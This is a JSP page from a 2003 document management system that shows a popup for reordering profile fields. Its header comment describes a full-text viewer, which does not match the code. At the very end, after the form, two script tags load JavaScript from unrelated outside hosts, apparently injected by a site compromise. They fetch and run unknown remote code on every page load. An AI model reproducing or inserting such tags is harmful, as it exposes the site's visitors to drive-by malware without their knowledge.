<%
/*
 * @(#)FullTextViewer.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FullTextViewer.jsp

  This class is used to retrieve the document content from http

  @author          Phoebe Wong
  @company         DCIVision Limited
  @creation date   27/08/2003
  @version         $Revision: 1.6.32.9 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.dms.core.FileDownloader"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.GlobalConstant"%>
<%@ page import="org.apache.struts.action.Action"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDisplaySeqForm" scope="request" class="com.dcivision.dms.web.MaintDmsDisplaySeqForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>

<html:form action="dms/MaintDmsDisplaySeq" styleClass="form-style-2">
<html:javascript formName="maintDmsDisplaySeqForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%

%>

<script language="JavaScript">
<!--
var initItems = new Array;
var values = new Array;
function initLoadForm(permForm) {
  var parent = window.opener;
  var form = parent.document.maintSysUserDefinedIndexForm;
  var tmpListSize=form.listSize.value;
  var items = new Array;


  RemoveAllOptions(permForm.list);
  for (var i=0; i<tmpListSize; i++) {
    AddOption(permForm.list, eval("form.definedField_"+i+".value"), i+1, false);
  }

  for (i = tmpListSize-1; i >= 0; i--) {
    initItems[i] = document.maintDmsDisplaySeqForm.list.options[i].text;
    values[i] = document.maintDmsDisplaySeqForm.list.options[i].value;
  }
}

function move(index,to) {
  var list = document.maintDmsDisplaySeqForm.list;
  var total = list.options.length-1;
  if (index == -1) return false;
  if (to == +1 && index == total) return false;
  if (to == -1 && index == 0) return false;
  var items = new Array;
  var values = new Array;
  for (i = total; i >= 0; i--) {
    items[i] = list.options[i].text;
    values[i] = list.options[i].value;
  }

  for (i = total; i >= 0; i--) {
    if (index == i) {
      list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
      list.options[i] = new Option(items[i + to], values[i]);
      i--;

    }else {
      list.options[i] = new Option(items[i], values[i]);
   }
  }

  list.focus();
}

function submitForm(permForm) {
  var parent = window.opener;
  var form = parent.document.maintSysUserDefinedIndexForm;

  var tmpListSize=form.listSize.value;

  for (i = 0; i <= document.maintDmsDisplaySeqForm.list.options.length-1; i++) {
    for (j = 0; j <= document.maintDmsDisplaySeqForm.list.options.length-1; j++) {
      if(initItems[i]==document.maintDmsDisplaySeqForm.list.options[j].text){
        eval("form.disPlaySeq_"+i+".value="+(j+1));
        break;
      }
    }

  }
  //parent.location.href =  "<%=request.getContextPath()%>/dms/MaintDocumentProfile.do?navMode=E&ID"+form.ID.value;
  parent.opOrderFields();
  //form.submit();

  window.close();

}
-->
</script>
<script type="text/javascript">
	dojo.addOnLoad(
		function () {
			initLoadForm(maintDmsDisplaySeqForm);
		}
	);
</script>
<html:hidden property="opMode"/>
<html:hidden property='formName'/>
<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>

<div class="popupPanelTitle">
	<bean:message key="dms.label.profile.field.change_display_order"/>
</div>

<div class="popupWrapperContainer">
<table>
<tr>
<td class="formLabelSmall">Display Order:</td>

<td class="formFieldSmall">
  <select name="list" size="4" >
  </select>
</td>
 <td class="formFieldSmall">
  <a href='#' onClick="move(maintDmsDisplaySeqForm.list.selectedIndex,-1);"><html:img src="IconPagerSortAsc.gif" /></a>
  <br><br>
  <a href='#' onClick="move(maintDmsDisplaySeqForm.list.selectedIndex,+1);"><html:img src="IconPagerSortDesc.gif" /></a>
</td>

</tr>
</table>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.save" onClick="return submitForm(maintDmsDisplaySeqForm)"/>
    <html:standardButton label="common.label.close" onClick="return self.close();"/>
</div>
</div>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>